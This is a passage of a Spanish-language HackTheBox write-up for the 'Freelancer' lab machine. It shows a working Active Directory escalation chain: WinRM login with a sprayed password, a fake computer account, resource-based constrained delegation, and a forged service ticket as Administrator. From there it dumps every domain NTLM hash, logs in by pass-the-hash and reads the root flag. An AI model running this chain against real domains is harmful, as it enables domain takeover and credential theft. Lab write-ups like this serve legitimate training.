freelancer.htb\wwalker:PWN3D#l0rr@Armessa199 STATUS_LOGON_FAILURE |
y tenemos uno válido, así que conectamos con sus credenciales por winrm
|
1 2 3 4 5 6 7 8 9 10 11 12 |
$ evil-winrm -i freelancer.htb -u lorra199 -p 'PWN3D#l0rr@Armessa199' Evil-WinRM shell v3.5 Warning: Remote path completions is disabled due to ruby limitation: quoting_detection_proc() function is unimplemented on this machine Data: For more information, check Evil-WinRM GitHub: https://github.com/Hackplayers/evil-winrm#Remote-path-completion Info: Establishing connection to remote endpoint *Evil-WinRM* PS C:\Users\lorra199\Documents> whoami freelancer\lorra199 *Evil-WinRM* PS C:\Users\lorra199\Documents> |
Escalado a administrator
Con este usuario vamos a ver si en bloodhound podemos encontrar alguna forma de escalar privilegios y vemos que pertenece al grupo AD RECYCLE BIN

y este grupo tiene permisos de GenericWrite sobre el grupo Group Policy Creator Owners, por lo tanto podemos aprovecharnos de este privilegio para añadir un nuevo equipo en el AD con la cual podemos abusar de la delegación restringida y solicitar un ticket contra el equipo falso y que nos permita impersonarnos como admin en el ad, así que vamos a ello.
En primer lugar añadiremos el equipo al AD
|
1 2 3 4 |
$ impacket-addcomputer -computer-name "FAKEPC" -computer-pass "Password123." -dc-host freelancer.htb -domain-netbios freelancer.htb freelancer.htb/lorra199:'PWN3D#l0rr@Armessa199' Impacket v0.12.0.dev1 - Copyright 2023 Fortra [*] Successfully added machine account FAKEPC$ with password Password123.. |
Una vez creado utilizamos la herramienta rbcd para delegar permisos en el equipo falso
|
1 2 3 4 5 6 7 8 |
$ impacket-rbcd -delegate-from "FAKEPC$" -delegate-to "DC$" -dc-ip 10.10.11.5 -action "write" freelancer.htb/lorra199:'PWN3D#l0rr@Armessa199' Impacket v0.12.0.dev1 - Copyright 2023 Fortra [*] Attribute msDS-AllowedToActOnBehalfOfOtherIdentity is empty [*] Delegation rights modified successfully! [*] FAKEPC$ can now impersonate users on DC$ via S4U2Proxy [*] Accounts allowed to act on behalf of other identity: [*] FAKEPC$ (S-1-5-21-3542429192-2036945976-3483670807-11601) |
y una vez delegados los permisos, generamos el ticket
|
1 2 3 4 5 6 7 8 9 10 11 |
$ sudo ntpdate -u 10.10.11.5 && impacket-getST -spn "cifs/DC.FREELANCER.HTB" -impersonate Administrator -dc-ip 10.10.11.5 freelancer.htb/FAKEPC$:Password123. 2024-07-03 20:51:28.046360 (+0200) +18002.033851 +/- 0.020620 10.10.11.5 s1 no-leap CLOCK: time stepped by 18002.033851 Impacket v0.12.0.dev1 - Copyright 2023 Fortra [-] CCache file is not found. Skipping... [*] Getting TGT for user [*] Impersonating Administrator [*] Requesting S4U2self [*] Requesting S4U2Proxy [*] Saving ticket in Administrator@cifs_DC.FREELANCER.HTB@FREELANCER.HTB.ccache |
ya tenemos el ticket así que lo exportamos
|
1 |
$ export KRB5CCNAME=Administrator@cifs_DC.FREELANCER.HTB@FREELANCER.HTB.ccache |
y dumpeamos credenciales
|
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 35 36 37 38 39 40 41 42 43 44 |
$ impacket-secretsdump freelancer.htb/Administrator@dc.freelancer.htb -k -no-pass -dc-ip 10.10.11.5 -target-ip 10.10.11.5 -just-dc-ntlm Impacket v0.12.0.dev1 - Copyright 2023 Fortra [*] Dumping Domain Credentials (domain\uid:rid:lmhash:nthash) [*] Using the DRSUAPI method to get NTDS.DIT secrets Administrator:500:aad3b435b51404eeaad3b435b51404ee:0039318f1e8274633445bce32ad1a290::: Guest:501:aad3b435b51404eeaad3b435b51404ee:31d6cfe0d16ae931b73c59d7e0c089c0::: krbtgt:502:aad3b435b51404eeaad3b435b51404ee:d238e0bfa17d575038efc070187a91c2::: freelancer.htb\mikasaAckerman:1105:aad3b435b51404eeaad3b435b51404ee:e8d62c7d57e5d74267ab6feb2f662674::: sshd:1108:aad3b435b51404eeaad3b435b51404ee:c1e83616271e8e17d69391bdcd335ab4::: SQLBackupOperator:1112:aad3b435b51404eeaad3b435b51404ee:c4b746db703d1af5575b5c3d69f57bab::: sql_svc:1114:aad3b435b51404eeaad3b435b51404ee:af7b9d0557964265115d018b5cff6f8a::: lorra199:1116:aad3b435b51404eeaad3b435b51404ee:67d4ae78a155aab3d4aa602da518c051::: freelancer.htb\maya.artmes:1124:aad3b435b51404eeaad3b435b51404ee:22db50a324b9a34ea898a290c1284e25::: freelancer.htb\michael.williams:1126:aad3b435b51404eeaad3b435b51404ee:af7b9d0557964265115d018b5cff6f8a::: freelancer.htb\sdavis:1127:aad3b435b51404eeaad3b435b51404ee:933a86eb32b385398ce5a474ce083447::: freelancer.htb\d.jones:1128:aad3b435b51404eeaad3b435b51404ee:933a86eb32b385398ce5a474ce083447::: freelancer.htb\jen.brown:1129:aad3b435b51404eeaad3b435b51404ee:933a86eb32b385398ce5a474ce083447::: freelancer.htb\taylor:1130:aad3b435b51404eeaad3b435b51404ee:933a86eb32b385398ce5a474ce083447::: freelancer.htb\jmartinez:1131:aad3b435b51404eeaad3b435b51404ee:933a86eb32b385398ce5a474ce083447::: freelancer.htb\olivia.garcia:1133:aad3b435b51404eeaad3b435b51404ee:933a86eb32b385398ce5a474ce083447::: freelancer.htb\dthomas:1134:aad3b435b51404eeaad3b435b51404ee:933a86eb32b385398ce5a474ce083447::: freelancer.htb\sophia.h:1135:aad3b435b51404eeaad3b435b51404ee:933a86eb32b385398ce5a474ce083447::: freelancer.htb\Ethan.l:1138:aad3b435b51404eeaad3b435b51404ee:933a86eb32b385398ce5a474ce083447::: freelancer.htb\wwalker:1141:aad3b435b51404eeaad3b435b51404ee:933a86eb32b385398ce5a474ce083447::: freelancer.htb\jgreen:1142:aad3b435b51404eeaad3b435b51404ee:933a86eb32b385398ce5a474ce083447::: freelancer.htb\evelyn.adams:1143:aad3b435b51404eeaad3b435b51404ee:933a86eb32b385398ce5a474ce083447::: freelancer.htb\hking:1144:aad3b435b51404eeaad3b435b51404ee:933a86eb32b385398ce5a474ce083447::: freelancer.htb\alex.hill:1145:aad3b435b51404eeaad3b435b51404ee:933a86eb32b385398ce5a474ce083447::: freelancer.htb\samuel.turner:1146:aad3b435b51404eeaad3b435b51404ee:933a86eb32b385398ce5a474ce083447::: freelancer.htb\ereed:1149:aad3b435b51404eeaad3b435b51404ee:933a86eb32b385398ce5a474ce083447::: freelancer.htb\leon.sk:1151:aad3b435b51404eeaad3b435b51404ee:af7b9d0557964265115d018b5cff6f8a::: freelancer.htb\carol.poland:1160:aad3b435b51404eeaad3b435b51404ee:af7b9d0557964265115d018b5cff6f8a::: freelancer.htb\lkazanof:1162:aad3b435b51404eeaad3b435b51404ee:a26c33c2878b23df8b2da3d10e430a0f::: DC$:1000:aad3b435b51404eeaad3b435b51404ee:89851d57d9c8cc8addb66c59b83a4379::: DATACENTER-2019$:1115:aad3b435b51404eeaad3b435b51404ee:7a8b0efef4571ec55cc0b9f8cb73fdcf::: DATAC2-2022$:1155:aad3b435b51404eeaad3b435b51404ee:007a710c0581c63104dad1e477c794e8::: WS1-WIIN10$:1156:aad3b435b51404eeaad3b435b51404ee:57e57c6a3f0f8fff74e8ab524871616b::: WS2-WIN11$:1157:aad3b435b51404eeaad3b435b51404ee:bf5267ee6236c86a3596f72f2ddef2da::: WS3-WIN11$:1158:aad3b435b51404eeaad3b435b51404ee:732c190482eea7b5e6777d898e352225::: DC2$:1159:aad3b435b51404eeaad3b435b51404ee:e1018953ffa39b3818212aba3f736c0f::: SETUPMACHINE$:8601:aad3b435b51404eeaad3b435b51404ee:f5912663ecf2c8cbda2a4218127d11fe::: FAKEPC$:11601:aad3b435b51404eeaad3b435b51404ee:fa7665befe243a5079d1c602f5524ce0::: [*] Cleaning up... |
y ya tenemos el hash del usuario admin para poder acceder.
Obteniendo la flag de root
Conectamos por winrm con el hash del usuario admin y cogemos la flag
|
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 |
$ evil-winrm -i freelancer.htb -u administrator -H 0039318f1e8274633445bce32ad1a290 Evil-WinRM shell v3.5 Warning: Remote path completions is disabled due to ruby limitation: quoting_detection_proc() function is unimplemented on this machine Data: For more information, check Evil-WinRM GitHub: https://github.com/Hackplayers/evil-winrm#Remote-path-completion Info: Establishing connection to remote endpoint *Evil-WinRM* PS C:\Users\Administrator\Documents> whoami freelancer\administrator *Evil-WinRM* PS C:\Users\Administrator\Documents> cd ..\desktop *Evil-WinRM* PS C:\Users\Administrator\desktop> dir Directory: C:\Users\Administrator\desktop Mode LastWriteTime Length Name ---- ------------- ------ ---- -ar--- 7/2/2024 10:10 PM 34 root.txt *Evil-WinRM* PS C:\Users\Administrator\desktop> type root.txt dd6cbab523243f27235dc4a919b9d085 *Evil-WinRM* PS C:\Users\Administrator\desktop> |
Y ya tenemos nuestra flag de root para completar esta máquina y conseguir nuestros puntos.
Si eres usuario de HackTheBox y te gustó mi writeup, por favor, dame respeto en el siguiente enlace










